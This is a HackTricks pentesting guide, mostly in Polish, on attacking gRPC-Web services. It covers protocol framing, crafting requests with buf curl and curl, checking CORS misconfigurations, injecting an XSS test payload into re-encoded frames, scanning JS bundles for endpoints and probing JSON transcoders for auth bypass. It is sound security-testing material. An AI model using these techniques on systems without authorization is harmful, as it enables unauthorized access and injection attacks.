Pentesting gRPC-Web
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Krótkie przypomnienie protokołu i powierzchni ataku
- Transport: gRPC‑Web używa wariantu gRPC zgodnego z przeglądarką przez HTTP/1.1 lub HTTP/2 za pośrednictwem proxy (Envoy/APISIX/grpcwebproxy/etc.). Obsługiwane są tylko wywołania unary i server‑streaming.
- Content-Types you will see:
- application/grpc-web (binary framing)
- application/grpc-web-text (base64-encoded framing for HTTP/1.1 streaming)
- Framing: każda wiadomość jest poprzedzona 5‑bajtowym nagłówkiem gRPC (1‑bajtowe flagi + 4‑bajtowa długość). W gRPC‑Web, trailers (grpc-status, grpc-message, …) są wysyłane wewnątrz body jako specjalna ramka: pierwszy bajt z ustawionym MSB (0x80) poprzedzony długością i blokiem nagłówków w stylu HTTP/1.1.
- Common request headers: x-grpc-web: 1, x-user-agent: grpc-web-javascript/…, grpc-timeout, grpc-encoding. Odpowiedzi ujawniają grpc-status/grpc-message poprzez trailers/body frames i często przez Access-Control-Expose-Headers dla przeglądarek.
- Security‑relevant middleware często obecne:
- Envoy grpc_web filter and gRPC‑JSON transcoder (HTTP<->gRPC bridge)
- Nginx/APISIX gRPC‑Web plugins
- Polityki CORS na proxy
Co to oznacza dla atakujących:
- Możesz tworzyć żądania ręcznie (binary lub base64 text), albo pozwolić narzędziom generować/kodować je za Ciebie.
- Błędy CORS na proxy mogą pozwolić na cross‑site, uwierzytelnione wywołania gRPC‑Web (podobnie do klasycznych problemów z CORS).
- Mostki JSON transcoding mogą niechcący ujawnić metody gRPC jako nieautoryzowane endpointy HTTP jeśli trasy/auth są źle skonfigurowane.
Testing gRPC‑Web from the CLI
Easiest: buf curl (speaks gRPC‑Web natively)
- Wylistuj metody przez reflection (jeśli włączone):
# list methods (uses reflection)
buf curl --protocol grpcweb https://host.tld --list-methods
- Wywołaj metodę z wejściem JSON, automatycznie obsługując ramkowanie gRPC‑Web i nagłówki:
buf curl --protocol grpcweb \
-H 'Origin: https://example.com' \
-d '{"field":"value"}' \
https://host.tld/pkg.svc.v1.Service/Method
- Jeśli reflection jest wyłączony, podaj schemę/zestaw deskryptorów za pomocą –schema lub wskaż lokalne pliki .proto. Zobacz buf help curl.
Raw with curl (ręczne nagłówki + opakowane ciało)
Dla trybu binarnego (application/grpc-web) wyślij opakowany payload (prefiks 5‑bajtowy + wiadomość protobuf). W trybie tekstowym zakoduj opakowany payload do base64.
# Build a protobuf message, then gRPC-frame it (1 flag byte + 4 length + msg)
# Example using protoscope to compose/edit the message and base64 for grpc-web-text
protoscope -s msg.txt | python3 grpc-coder.py --encode --type grpc-web-text | \
tee body.b64
curl -i https://host.tld/pkg.svc.v1.Service/Method \
-H 'Content-Type: application/grpc-web-text' \
-H 'X-Grpc-Web: 1' \
-H 'X-User-Agent: grpc-web-javascript/0.1' \
--data-binary @body.b64
Wskazówka: Wymuś tryb base64/tekstowy za pomocą application/grpc-web-text, gdy pośrednicy HTTP/1.1 przerywają strumieniowanie binarne.
Sprawdź zachowanie CORS (preflight + response)
- Preflight:
curl -i -X OPTIONS https://host.tld/pkg.svc.v1.Service/Method \
-H 'Origin: https://evil.tld' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,x-grpc-web,x-user-agent,grpc-timeout'
- Wrażliwa konfiguracja często odzwierciedla dowolny Origin i wysyła Access-Control-Allow-Credentials: true, co pozwala na uwierzytelnione wywołania cross‑site. Sprawdź też, czy Access-Control-Expose-Headers zawiera grpc-status, grpc-message (wiele wdrożeń udostępnia je bibliotekom klienckim).
For generic techniques to abuse CORS, check CORS - Misconfigurations & Bypass.
Manipulating gRPC‑Web payloads
gRPC‑Web uses Content-Type: application/grpc-web-text as a base64‑wrapped gRPC frame stream for browser compatibility. You can decode/modify/encode frames to tamper with fields, flip flags, or inject payloads.
Use the gprc-coder tool (and its Burp extension) to speed up round‑trips.
Manual with gGRPC Coder Tool
- Dekoduj payload:
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
- Edytuj zawartość zdekodowanego payload
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
- Zakoduj nowy payload
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
- Użyj outputu w Burp interceptor:
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
Instrukcja obsługi gRPC‑Web Coder Burp Suite Extension
Możesz użyć gRPC‑Web Coder Burp Suite Extension w gRPC‑Web Pentest Suite, co jest łatwiejsze. Instrukcje instalacji i użycia znajdują się w jego repozytorium.
Analiza plików JavaScript gRPC‑Web
Aplikacje webowe używające gRPC‑Web zawierają przynajmniej jeden wygenerowany bundle JS/TS. Zdekompiluj/przeprowadź reverse engineering, aby wyodrębnić usługi, metody i struktury wiadomości.
- Spróbuj użyć gRPC-Scan do parsowania bundle.
- Szukaj ścieżek metod takich jak /
. / , numerów/typów pól wiadomości oraz niestandardowych interceptorów, które dodają nagłówki autoryzacji.
- Pobierz plik JavaScript gRPC‑Web
- Skanuj go za pomocą grpc-scan.py:
python3 grpc-scan.py --file main.js
- Analizuj wyniki i testuj nowe endpoints i nowe usługi:
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
Found Messages:
grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+============+====================+==============+
| Message | Proto3StringField | 1 |
+------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+------------+--------------------+--------------+
grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+==============+====================+==============+
| Message | Proto3StringField | 1 |
+--------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+--------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+--------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+--------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+--------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+--------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+--------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+--------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField | 8 |
+--------------+--------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+=================+===================+==============+
| Message | Proto3StringField | 1 |
+-----------------+-------------------+--------------+
| MessageCount | Proto3IntField | 2 |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField | 3 |
+-----------------+-------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
| Field Name | Field Type | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1 |
+--------------+----------------+--------------+
Bridging and JSON transcoding gotchas
Wiele wdrożeń umieszcza Envoy (lub podobne) proxy przed serwerem gRPC:
- filtr grpc_web konwertuje HTTP/1.1 POSTy na HTTP/2 gRPC.
- gRPC‑JSON Transcoder udostępnia metody gRPC jako HTTP JSON endpoints, gdy w .proto obecne są opcje (google.api.http).
Z perspektywy pentesting:
- Spróbuj bezpośrednich wywołań HTTP JSON do /
. / z application/json, gdy transcoder jest włączony (częste są niezgodności auth/route):
curl -i https://host.tld/pkg.svc.v1.Service/Method \
-H 'Content-Type: application/json' \
-d '{"field":"value"}'
- Sprawdź, czy nieznane metody/parametry są odrzucane, czy przepuszczane. Niektóre konfiguracje przekazują niespasowane ścieżki do upstream, czasami omijając auth lub request validation.
- Obserwuj x-envoy-original-path i powiązane nagłówki dodawane przez proxies. Upstreams, które im ufają, mogą być nadużyte, jeśli proxy nie oczyści tych nagłówków.
Źródła
- Hacking into gRPC‑Web Article by Amin Nasiri
- gRPC‑Web Pentest Suite
- gRPC‑Web protocol notes (PROTOCOL‑WEB.md)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

